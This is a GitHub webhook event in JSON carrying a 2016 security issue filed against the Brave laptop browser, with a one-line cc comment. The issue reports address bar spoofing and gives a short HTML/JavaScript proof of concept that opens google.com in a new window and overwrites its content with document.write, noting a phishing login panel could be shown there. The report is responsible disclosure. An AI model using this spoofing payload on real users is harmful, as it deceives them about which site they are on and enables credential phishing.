{"action":"created","issue":{"url":"https://api.github.com/repos/brave/browser-laptop/issues/2723","repository_url":"https://api.github.com/repos/brave/browser-laptop","labels_url":"https://api.github.com/repos/brave/browser-laptop/issues/2723/labels{/name}","comments_url":"https://api.github.com/repos/brave/browser-laptop/issues/2723/comments","events_url":"https://api.github.com/repos/brave/browser-laptop/issues/2723/events","html_url":"https://github.com/brave/browser-laptop/issues/2723","id":167586398,"number":2723,"title":"[Security Issue] Address Bar Spoofing","user":{"login":"jimen0","id":6826244,"avatar_url":"https://avatars.githubusercontent.com/u/6826244?v=3","gravatar_id":"","url":"https://api.github.com/users/jimen0","html_url":"https://github.com/jimen0","followers_url":"https://api.github.com/users/jimen0/followers","following_url":"https://api.github.com/users/jimen0/following{/other_user}","gists_url":"https://api.github.com/users/jimen0/gists{/gist_id}","starred_url":"https://api.github.com/users/jimen0/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jimen0/subscriptions","organizations_url":"https://api.github.com/users/jimen0/orgs","repos_url":"https://api.github.com/users/jimen0/repos","events_url":"https://api.github.com/users/jimen0/events{/privacy}","received_events_url":"https://api.github.com/users/jimen0/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/brave/browser-laptop/labels/security","name":"security","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2016-07-26T11:38:56Z","updated_at":"2016-07-26T11:55:05Z","closed_at":null,"body":"**Did you search for similar issues before submitting this one?**\r\nYes\r\n**Describe the issue you encountered:**\r\nIt's possible to spoof the URL that is shown in the address bar by opening a new window and writing to it using `document.write`.\r\n\r\n**Expected behavior:**\r\nThe browser to show the real location instead of the spoofed one.\r\n\r\n**Platform (Win7, 8, 10? macOS? Linux distro?):**\r\nUbuntu 16.04 LTS\r\n\r\n**Brave Version:**\r\n\r\n> Brave: 0.11.1\r\n> Electron: 1.2.7\r\n> libchromiumcontent: 51.0.2704.103\r\n> V8: 5.1.281.65\r\n> Node.js: 6.1.0\r\n> Update Channel: dev\r\n\r\n**Steps to reproduce:**\r\n    1. Place this code into an `.html` file in your server:\r\n```html\r\n<script>\r\n    function spoof() {\r\n        nWindow = window.open('https:/www.google.com');\r\n        nWindow.document.write('<body><pre>Here we could place a phising login panel</pre></body>');\r\n}\r\n</script>\r\n<input type=\"button\" onclick=\"spoof()\" value=\"PoC!\">\r\nThe page is being hosted in my server\r\n```\r\n   <ol start=\"2\">\r\n  <li>Open it using Brave Browser.</li>\r\n  <li>Click the button, then the URL will be `https://www.google.com/` but the real location will be your server.</li>\r\n  </ol>\r\n\r\n**Screenshot if needed:**\r\n\r\n![Result](http://i.imgur.com/Q51LUek.png)\r\n\r\n**Any related issues:**\r\n[Same bug in Chrome for Android](https://bugs.chromium.org/p/chromium/issues/detail?id=324969)\r\n\r\nKind regards."},"comment":{"url":"https://api.github.com/repos/brave/browser-laptop/issues/comments/235246143","html_url":"https://github.com/brave/browser-laptop/issues/2723#issuecomment-235246143","issue_url":"https://api.github.com/repos/brave/browser-laptop/issues/2723","id":235246143,"user":{"login":"luixxiul","id":3362943,"avatar_url":"https://avatars.githubusercontent.com/u/3362943?v=3","gravatar_id":"","url":"https://api.github.com/users/luixxiul","html_url":"https://github.com/luixxiul","followers_url":"https://api.github.com/users/luixxiul/followers","following_url":"https://api.github.com/users/luixxiul/following{/other_user}","gists_url":"https://api.github.com/users/luixxiul/gists{/gist_id}","starred_url":"https://api.github.com/users/luixxiul/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/luixxiul/subscriptions","organizations_url":"https://api.github.com/users/luixxiul/orgs","repos_url":"https://api.github.com/users/luixxiul/repos","events_url":"https://api.github.com/users/luixxiul/events{/privacy}","received_events_url":"https://api.github.com/users/luixxiul/received_events","type":"User","site_admin":false},"created_at":"2016-07-26T11:55:05Z","updated_at":"2016-07-26T11:55:05Z","body":"cc: @diracdeltas "}}
{"actor":{"display_login":"luixxiul"}}